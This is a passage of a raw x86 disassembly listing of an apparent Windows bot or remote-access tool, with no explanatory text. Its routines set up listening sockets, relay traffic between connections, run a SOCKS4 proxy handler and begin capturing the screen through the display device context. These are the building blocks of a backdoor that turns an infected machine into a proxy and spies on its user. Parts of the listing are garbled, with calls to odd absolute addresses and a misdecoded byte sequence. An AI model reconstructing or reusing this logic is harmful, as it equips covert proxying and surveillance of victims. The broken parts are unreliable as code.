arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43ADD8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_436F18[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407252
		push	8
		call	sub_416FA4
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A4D
		mov	esi, offset dword_438F18
		push	esi
		nop
		call	near ptr 2700000h
		push	80000400h
		push	esi
		call	near ptr 26F0D06h
		nop
		test	eax, eax
		jnz	short loc_407A4D
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4F0
		push	eax
		call	sub_4172B0
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A37
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h


loc_407A37:				; CODE XREF: sub_40797F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407A4D:				; CODE XREF: sub_40797F+63j
					; sub_40797F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_424064
		mov	edi, ebx
		mov	dword_436F1C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1A


loc_407A6B:				; CODE XREF: sub_40797F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4A8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416D5C
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407767
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_407AE5


loc_407ADA:				; CODE XREF: sub_40797F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B0C
		push	1Eh
		call	esi
		jmp	short loc_407ADA
; ---------------------------------------------------------------------------


loc_407AE5:				; CODE XREF: sub_40797F+159j
		call	near ptr 2670ADCh
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B45C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_407B0C:				; CODE XREF: sub_40797F+15Ej
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6B


loc_407B1A:				; CODE XREF: sub_40797F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_407B2F:				; CODE XREF: sub_40797F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_436F18[eax*8]
		push	eax
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B408
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B7D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h


loc_407B7D:				; CODE XREF: sub_40797F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_436F1C[eax*8], ebx
		call	esi
		push	8
		call	sub_416FA4
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB4
		push	offset dword_438F18
		nop
		call	near ptr 2700000h


loc_407BB4:				; CODE XREF: sub_40797F+228j
		push	[ebp+var_2C]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h


loc_407BC4:				; CODE XREF: sub_40797F+19Ej
					; sub_40797F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_436F1C[eax*8], 1
		jnz	loc_407B2F
		push	7D0h
		call	esi
		jmp	short loc_407BC4
sub_40797F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BDE	proc near		; DATA XREF: sub_40EE72+36DDo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43AD98
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D42
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_4407FC[eax], ebx
		call	dword_43ACB4
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43ADC4
		test	eax, eax
		jnz	loc_407D42
		push	0Ah
		push	ebx
		call	dword_43ADC0
		test	eax, eax
		jnz	loc_407D42


loc_407C88:				; CODE XREF: sub_407BDE+BEj
					; sub_407BDE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43AE2C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C88
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42B584
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407D66
		push	esi
		push	esi
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440804[ecx], eax
		jz	short loc_407D2D


loc_407D1A:				; CODE XREF: sub_407BDE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C88
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_407D1A
; ---------------------------------------------------------------------------


loc_407D2D:				; CODE XREF: sub_407BDE+13Aj
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_42B538
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_407D45
; ---------------------------------------------------------------------------


loc_407D42:				; CODE XREF: sub_407BDE+61j
					; sub_407BDE+93j ...
		mov	edi, [ebp+arg_0]


loc_407D45:				; CODE XREF: sub_407BDE+162j
		push	edi
		call	dword_43AE30
		push	ebx
		call	dword_43AE30
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26302E2h
		pop	edi
		pop	esi
		pop	ebx
sub_407BDE	endp ; sp-analysis failed



loc_407D66:				; DATA XREF: sub_407BDE+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43AE18
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F1C
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_43AD98
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407DF6
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43AE1C
		jmp	short loc_407E04
; ---------------------------------------------------------------------------


loc_407DF6:				; CODE XREF: ___:00407DE5j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_43AD50


loc_407E04:				; CODE XREF: ___:00407DF4j
		cmp	eax, edi
		jz	loc_407F1C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F1C
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B62C
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_416D5C
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_4407FC[ebx]
		mov	dword_4407F4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_440800[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F4D
		push	edi
		push	edi
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440804[ecx], eax
		jz	short loc_407F09


loc_407EB6:				; CODE XREF: ___:00407EC3j
		cmp	[ebp-20h], edi
		jnz	short loc_407EC5
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_407EB6
; ---------------------------------------------------------------------------


loc_407EC5:				; CODE XREF: ___:00407EB9j
		mov	ebx, 1000h


loc_407ECA:				; CODE XREF: ___:00407F05j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		cmp	eax, edi
		jle	short loc_407F1C
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECA
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------


loc_407F09:				; CODE XREF: ___:00407EB4j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_42B5DC
		call	sub_40BFE1
		pop	ecx
		pop	ecx


loc_407F1C:				; CODE XREF: ___:00407DAAj
					; ___:00407E06j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_4407FC[eax]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	dword_43AE30
		push	dword ptr [ebp-4]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26302E2h
		pop	edi
		pop	esi
		pop	ebx


loc_407F4D:				; DATA XREF: ___:00407E96o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407F84:				; CODE XREF: ___:00407FC9j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_440800[esi]
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_407FCB
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_4407FC[esi]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F84


loc_407FCB:				; CODE XREF: ___:00407FAEj
		push	dword_440800[esi]
		call	dword_43AE30
		push	dword ptr [ebp-14h]
		call	sub_417078
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		cli
		and	byte ptr [edx],	2
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; DATA XREF: sub_40EE72+5E51o

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43AD98
		push	6
		push	edi
		push	2
		mov	word ptr [ebp+var_14+2], ax
		mov	[ebp+var_10], esi
		call	dword_43AE18
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43ADC4
		test	eax, eax
		jnz	loc_40818C
		push	0Ah
		push	edi
		call	dword_43ADC0
		test	eax, eax
		jnz	loc_40818C
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080C5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h


loc_4080C5:				; CODE XREF: sub_407FEA+B9j
					; sub_407FEA+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43AE2C
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B708
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset loc_4081EF
		push	esi
		push	esi
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440804[ecx], eax
		jz	short loc_40816C


loc_408159:				; CODE XREF: sub_407FEA+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080C5
		push	5
		nop
		call	near ptr 2630F90h
		jmp	short loc_408159
; ---------------------------------------------------------------------------


loc_40816C:				; CODE XREF: sub_407FEA+16Dj
		nop
		call	near ptr 2670ADCh
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B6C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4080C5
; ---------------------------------------------------------------------------


loc_40818C:				; CODE XREF: sub_407FEA+7Bj
					; sub_407FEA+8Cj
		push	edi
		call	dword_43AE30
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B680
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081CF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h


loc_4081CF:				; CODE XREF: sub_407FEA+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26302E2h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_4081EF:				; DATA XREF: sub_407FEA+14Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4407FC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43AD80
		test	eax, eax
		jnz	short loc_408270
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h


loc_408270:				; CODE XREF: sub_407FEA+26Cj
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		test	eax, eax
		jg	short loc_4082A1
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26302E2h
		nop


loc_4082A1:				; CODE XREF: sub_407FEA+29Dj
		cmp	[ebp+var_4D0], 4
		jnz	loc_40849B
		cmp	[ebp+var_4CF], 1
		jnz	loc_40849B
		cmp	[ebp+var_44], bl
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42B830
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h


loc_408337:				; CODE XREF: sub_407FEA+2D4j
					; sub_407FEA+2EAj
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417330
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083CF
		call	dword_43AD2C
		push	eax
		push	offset unk_42B7E4
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h


loc_4083CF:				; CODE XREF: sub_407FEA+386j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40843E
		call	dword_43AD2C
		push	eax
		push	offset unk_42B794
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h


loc_40843E:				; CODE XREF: sub_407FEA+3F5j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		push	edi
		call	sub_4084B3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43AE30
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h


loc_40849B:				; CODE XREF: sub_407FEA+2BEj
					; sub_407FEA+2CBj
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h
sub_407FEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B3	proc near		; CODE XREF: sub_407FEA+48Bp

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4084C9:				; CODE XREF: sub_4084B3+C5j
					; sub_4084B3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4084E1:				; CODE XREF: sub_4084B3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F1
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E1


loc_4084F1:				; CODE XREF: sub_4084B3+33j
		cmp	ecx, 1
		jnz	short loc_408506
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_408506:				; CODE XREF: sub_4084B3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43AD80
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43AC90
		test	eax, eax
		jz	short loc_408566
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE


loc_408566:				; CODE XREF: sub_4084B3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43AC90
		test	eax, eax
		jz	loc_4084C9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084C9


loc_4085AE:				; CODE XREF: sub_4084B3+9Aj
					; sub_4084B3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B3	proc near		; CODE XREF: sub_40EE72+45AFp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43AD84
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087E7
		push	8
		push	edi
		call	dword_43ADA0
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_43ADA0
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_43ADA0
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408615
		push	18h
		push	edi
		call	dword_43ADA0
		mov	ebx, 100h
		jmp	short loc_408617
; ---------------------------------------------------------------------------


loc_408615:				; CODE XREF: sub_4085B3+50j
		xor	ebx, ebx


loc_408617:				; CODE XREF: sub_4085B3+60j
		push	edi
		call	dword_43ADE4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087CC
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
